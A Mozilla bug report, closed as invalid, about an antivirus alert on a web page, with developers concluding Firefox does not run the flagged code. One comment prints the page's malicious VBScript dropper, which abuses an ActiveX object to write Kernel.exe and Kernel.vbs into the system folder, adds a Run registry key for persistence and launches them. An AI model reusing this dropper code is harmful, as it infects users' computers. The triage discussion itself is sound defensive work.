412673 - Virus VBS/Dropper and source code view

Status: VERIFIED INVALID

(Firefox :: General, defect)

Description

[Gérard Talbot]

Steps to reproduce
------------------

1- Load provided URL
2- If the page loads in browser without a warning, then try to view the source code

Actual results in Firefox 2.0.0.11 rv:1.8.1.11 and in Seamonkey 2.0a1 rv:1.9b3pre build 2008011203
----------------------------------------------
- Anti-Virus software AVG 7.5 (with latest updated definition list) warns in an alert "Virus found: VBS/Dropper"
- Source code of webpage is impossible to view in Firefox 2.0.0.11 and in Seamonkey 2.0a1 rv:1.9b3pre build 2008011203:
"The file view-source:http://www.bidargaran.com/86-03-02/abtahi.html cannot be found. Please check the location and try again."

Notes
-----
- I have not searched for duplicate; hence/thus, UNCONFIRMED.
- the URL is an arabic written webpage with a marquee (or a DHTML one) at top of page.

Reproducible: 100%

Version set to 2.0 Branch

XP Pro SP2 with all the available security patches from Windows Update.

Comment 1

[Gérard Talbot]

If needed/requested, I can provide screenshots of the AVG alert.

Comment 2

[Gérard Talbot]

Attachment: Screen shot of virus alert with the path to file or directory

Screen shot of the AVG 7.5 alert with the path to the directory being under the treath of VBS/Dropper

C:\Document and Settings\<censured>\Local Settings\Application Data\Mozilla\Firefox\Profiles\<censured profile characters>\Cache\E1946CABd01

Comment 3

[Gérard Talbot]

In order to reproduce reliably the external signs of the bug, you may have to clear history and clear private data.

Comment 4

[:Gavin Sharp [email: [e-mail]]]

Seems like this is just your anti-virus scanner picking something out of the cache and warning you of it. It probably fails to view-source because the AV program automatically quarantines the file. There doesn't seem to be a Firefox bug here.

Comment 5

[Bob Clary [:bc] (inactive)]

The page contains the following exploit at vbscript:

<script language=vbscript>
on error resume next
fileexe1="0770901440000030000000000040000000002552550000001840000000000000000000000640000000000000000000000000000000000000000000000000000000000000000000000
filevbs1="0390780971181051000321101011190321181051141171150320500480480540400490510550530460490410130101111100321011141141111140321141011151171091010321101
dim sys
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36 "
set fso = df.createobject("Scripting.FileSystemObject","")
set s=df.CreateObject("Shell.Application.1","")
set re=df.createobject("wscript.shell","")
sys=fso.GetSpecialFolder(1)
For a = 1 To Len(filevbs1) Step 3
filevbs2=filevbs2 & chr(mid(filevbs1,a,3))
if a < len(fileexe1)+1 then fileexe2=fileexe2 & chr(mid(fileexe1,a,3))
next
kr = UCase(re.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Windows"))
fso.CreateTextFile(sys & "\TSP32E.DLL").write fileexe1
if ucase(fso.FileExists(sys & "\Kernel.exe"))="FALSE" or kr<>ucase(sys & "\KERNEL.EXE") then
re.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & "Microsoft Windows" ,sys &"\Kernel.exe"
fso.CreateTextFile(sys & "\Kernel.exe").write fileexe2
s.Open (sys & "\Kernel.exe")
end if
fso.CreateTextFile(sys & "\TSP32V.DLL").write filevbs1
if fso.opentextfile(sys & "\Systemv.dll",1).readall<>"on" then
fso.CreateTextFile(sys & "\Kernel.vbs").write filevbs2
s.Open (sys & "\Kernel.vbs")
end if
</script>

We don't execute that code and the fact that AVG is warning you in Firefox is a false alarm.

Someone please reopen if I'm wrong.

Comment 6

[Gérard Talbot]

Ok, then. Thank you Gavin S. and Bob C.

Comment 7

[Matthias Versen [:Matti]]

It's no false alarm, all Anti-Virus checks the incoming html or the files in the cache.
It's a user error if the user assumes that you have to report that to us because only a security hole in Firefox would be a problem but if a anti-Virus scanner reports this, you can be sure that this is already reported.